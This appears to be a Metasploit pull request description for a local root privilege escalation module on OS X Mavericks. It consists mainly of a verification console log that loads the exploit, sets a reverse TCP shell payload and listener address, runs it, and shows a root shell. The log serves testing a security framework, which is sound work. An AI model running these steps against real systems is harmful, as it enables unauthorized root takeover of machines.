Add an OSX Mavericks root privilege escalation from Google's Project Zero

Google's Project Zero has been killing it. Here's a root exploit for OSX Mavericks they published a short while ago:

#### Verification

- [ ] get an unprivileged command shell on OSX and use the exploit to grab root:

        msf exploit(iokit_keyboard_root) > [*] Command shell session 1 opened (192.168.0.2:4444 -> 192.168.0.2:49368) at 2014-11-25 12:23:28 -0600

        msf > use exploits/osx/local/iokit_keyboard_root
        msf exploit(iokit_keyboard_root) > set session 1
        msf exploit(iokit_keyboard_root) > set payload osx/x64/shell_reverse_tcp
        msf exploit(iokit_keyboard_root) > set lhost 192.168.0.2
        msf exploit(iokit_keyboard_root) > set lport 5555

        msf exploit(iokit_keyboard_root) > check
        [+] 192.168.0.2 - The target is vulnerable.
        msf exploit(iokit_keyboard_root) > run

        [*] Started reverse handler on 192.168.0.2:5555
        [*] Writing temp file as '/tmp/yvfpmcfihdyc'
        [*] Writing payload file as '/tmp/ycjakcjtprzn'
        [*] Executing payload...
        [*] Command shell session 2 opened (192.168.0.2:5555 -> 192.168.0.2:49369) at 2014-11-25 12:23:52 -0600
        [+] Deleted /tmp/yvfpmcfihdyc
        [+] Deleted /tmp/ycjakcjtprzn
        id

        454081642
        CUwLFYUdgTLqHVLNRIazJRphcAhRGrhf
        TbGzTfoPamXtIqLCqlrzfWGMlWdUfQQD
        GOuypbpRlEfoQbWyvwCKxUwaCaHlFFvq
        uid=0(root) gid=0(wheel) groups=0(wheel),1(daemon),2(kmem),3(sys),4(tty),5(operator),8(procview),9(procmod),12(everyone),20(staff),29(certusers),61(localaccounts),80(admin),33(_appstore),98(_lpadmin),
        100(_lpoperator),204(_developer),398(com.apple.access_screensharing),206(com.apple.access_loginwindow),401(com.apple.sharepoint.group.1)